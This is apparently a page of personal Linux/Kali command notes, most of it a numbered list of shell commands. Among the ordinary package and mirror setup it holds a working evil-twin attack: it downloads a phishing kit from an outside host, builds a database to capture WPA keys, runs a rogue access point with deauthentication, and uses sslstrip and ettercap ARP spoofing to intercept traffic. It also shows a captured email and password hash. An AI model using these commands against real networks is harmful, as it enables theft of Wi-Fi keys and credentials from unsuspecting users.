linux下的一些笔记

  1 apt-get update && apt-get upgrade && apt-get dist-upgrade
  2 
  3 
  4 apt-get install dhcp3-server
  5 file /etc/dhcp/dhcpd.conf
  6 authoritative;
  7 default-lease-time 600;
  8 max-lease-time 7200;
  9 subnet 192.168.1.128 netmask 255.255.255.128 {
 10 option subnet-mask 255.255.255.128;
 11 option broadcast-address 192.168.1.255;
 12 option routers 192.168.1.129;
 13 option domain-name-servers 202.101.224.68;
 14 range 192.168.1.130 192.168.1.140;
 15 }
 16 
 17 
 18 
 19 cd /var/www/
 20 rm index.html
 21 wget http://hackthistv.com/eviltwin.zip
 22 unzip eviltwin.zip
 23 rm eviltwin.zip
 24 
 25 
 26 
 27 /etc/init.d/apache2 start
 28 /etc/init.d/mysql  start
 29 
 30 mysql -u root
 31 create database evil_twin;
 32 use evil_twin;
 33 create table wpa_keys(password varchar(64),confirm varchar(64));
 34 ip route 
 35 airmon-ng start wlan0
 36 
 37 airodump-ng-oui-update
 38 airodump-ng -M mon0 
 39 
 40 airbase-ng -e CMCCe -c 6 -P mon0
 41 
 42 
 43 ifconfig at0 192.168.1.129 netmask 255.255.255.128
 44 route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129
 45 echo 1 > /proc/sys/ipv4/ip_forward
 46 iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
 47 iptables --append FORWARD --in-interface at0 -j ACCEPT
 48 iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 172.26.107.2:80
 49 iptables -t nat -A POSTROUTING -j MASQUERADE
 50 
 51 dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
 52 /etc/init.d/isc-dhcp-server start 
 53 
 54 
 55 echo MAC > blacklist
 56 mdk3 mon0 d -b blacklist -c 6 
 57 
 58 
 59 select * from wpa keys;
 60 
 61 
 62 
 63 root@kali:~# airbase-ng -c 11 -e freewifi mon0
 64 11:15:16  Created tap interface at0
 65 11:15:16  Trying to set MTU on at0 to 1500
 66 11:15:16  Trying to set MTU on mon0 to 1800
 67 11:15:16  Access Point with BSSID 08:ED:B9:74:0A:33 started.
 68 Error: Got channel -1, expected a value > 0.
 69 volson_auto@163.com&password=d71074aef9a11b50dc0333baa3d9d653
 70 cat -n /proc/net/ip_conntrack |grep tcp |awk {print $2"\t"$5"\t"$6"\t"$7"\t"$8"\t"$9"\t"$11}|more 
 71 
 72 
 73 ifconfig eth0 down 
 74 macchanger -a eth0 
 75 ifconfig eth0 up
 76 
 77 macchanger -m  00:46:4b:c7:75:ae eth0
 78 iptables -t nat -F
 79 cat /proc/sys/net/ipv4/ip_forward
 80 
 81 
 82 echo 1 > /proc/sys/net/ipv4/ip_forward
 83 sysctl -w net.ipv4.ip_forward=1
 84 cat /proc/sys/net/ipv4/ip_forward
 85 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
 86 iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10000
 87 sslstrip -l 10000
 88 
 89 
 90  iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8118
 91 
 92 
 93 
 94 apt-get install network-manager-pptp network-manager-pptp-gnome
 95 
 96 http://www.cnblogs.com/xunbu7/p/3853608.html
 97 http://www.cnblogs.com/tk091/p/3667600.html
 98 
 99 figlet "linux4chou" -f /usr/share/figlet/larry3d.flf
100 *******************************************************************
101 
102     gedit /etc/chromium/default
103     grub-mkconfig -o /boot/grub/grub.cfg 
104 
105        cd /opt/google/chrome/
106        hexedit chrome
107     Press Tab -> Switch to ASCII
108     Press Ctrl+ S -> Search "geteuid"
109      Modify to "getppid"
110     Press Ctrl+ X -> Save 
111 
112 sudo apt-get purge $( dpkg --list | grep -P -o "linux-image-\d\S+" | grep -v $(uname -r | grep -P -o ".+\d") 
113 
114 ********************************************************************************
115 
116 deb http://mirrors.163.com/debian wheezy main non-free contrib
117 deb http://mirrors.163.com/debian wheezy-proposed-updates main contrib non-free
118 deb-src http://mirrors.163.com/debian wheezy main non-free contrib
119 deb-src http://mirrors.163.com/debian wheezy-proposed-updates main contrib non-free
120 
121 deb http://mirrors.163.com/debian-security wheezy/updates main contrib non-free 
122 deb-src http://mirrors.163.com/debian-security wheezy/updates main contrib non-free 
123 
124 
125 deb http://mirrors.163.com/debian-backports/ squeeze-backports main contrib non-free
126 deb-src http://mirrors.163.com/debian-backports/ squeeze-backports main contrib non-free
127 deb http://dotdeb.90g.org/ stable all
128 deb-src http://dotdeb.90g.org/ stable all
129 deb http://repo.kali.org/kali kali-bleeding-edge main
130 deb-src http://repo.kali.org/kali kali-bleeding-edge main
131 deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib
132 deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib
133 deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free
134 deb http://deb.opera.com/opera/ stable non-free #Opera Browser (final releases)
135  
136 
137 sudo apt-get -t wheezy-backports install vlc
138  deb http://http.debian.net/debian wheezy-backports main
139  apt-get update
140 # apt-get install gnome-vlc libdvdcss2
141 ###########################################################################################
142                  ettercap install
143 
144 apt-get install debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev  libltdl-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev -y
145 
146 If the build fails because youre missing a dependency:
147 
148 $ (Install any missing dependencies.)
149 $ make clean-all
150 $ cmake ../
151 $ make
152 $ make install
153 
154 
155 #### Bundled libraries
156 Ettercap now bundles the following libraries with the source distribution:
157   libnet 1.1.6
158   curl 7.38.0
159   luajit 2.0.3
160   check 0.9.14
161 
162 
163 We will build bundled libraries that Ettercap depends upon, so you 
164 dont have to! 
165 
166 By default, the build system will search for system-provided libraries. If it 
167 doesnt find the particular library it wants, it will build the library, itself.
168 
169 # To disable the use of bundled libraries:
170   $ cmake -DBUNDLED_LIBS=Off ../
171 
172 # To disable the searching for system-provided libraries, and use 
173 # bundled libraries exclusively:
174   $ cmake -DSYSTEM_LIBS=Off ../
175 
176 ##########################################################################
177 
178 
179 
180 
181 
182 apt-get install network-manager-openvpn-gnome network-manager-pptp network-manager-pptp-gnome network-manager-strongswan network-manager-vpnc network-manager-vpnc-gnome -y
183 /etc/init.d/network-manager restart
184 --------------------------------------------------------------------------
185 sudo apt-get remove --purge linux-image-X.X.XX-XX-generic
186 dpkg --get-selections | grep linux-image
187 dpkg -l linux-* | awk /^ii/{ print $2} | grep -v -e `uname -r | cut -f1,2 -d"-"` | grep -e [0-9] | grep -E "(image|headers)" | xargs sudo apt-get -y purge
188 
189 -----------------------------------------------------------------------
190 
191 http://www.xuanhun521.com/
192 
193 
194 macchanger -m  00:46:4b:c7:75:ae eth0
195 iptables -t nat -F
196 cat /proc/sys/net/ipv4/ip_forward
197 
198 
199 echo 1 > /proc/sys/net/ipv4/ip_forward
200 sysctl -w net.ipv4.ip_forward=1
201 cat /proc/sys/net/ipv4/ip_forward
202 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
203 iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10000
204 sslstrip -l 10000
205  ettercap -i  wlan1 -TqP autoadd   -M  arp:remote /172.26.116.1/ //  -m zhua
206 
207 
208 /etc/init.d/nessusd start
209 
210  iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8118
211 
212 
213 
214 
215 
216 http://www.cnblogs.com/xunbu7/p/3853608.html
217 http://www.cnblogs.com/tk091/p/3667600.html
218 sathisharthars.wordpress.com
219 
220 
221 ********************************************************
222 
223 http://eastasiastudent.net/china/mandarin/scim-smart-pinyin  中文输入法 
224 
225 deb http://mirrors.aliyun.com/kali kali main non-free contrib
226 deb-src http://mirrors.aliyun.com/kali kali main non-free contrib
227 deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free
228 deb http://ftp.cn.debian.org/debian squeeze main 
229 
230 In the mean time the work around is to add the --user-data-dir flag to the default file (/etc/chromium/default)
231 
232 Confirmed if works fine. 
233 ###########################################################################################
234  

 

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。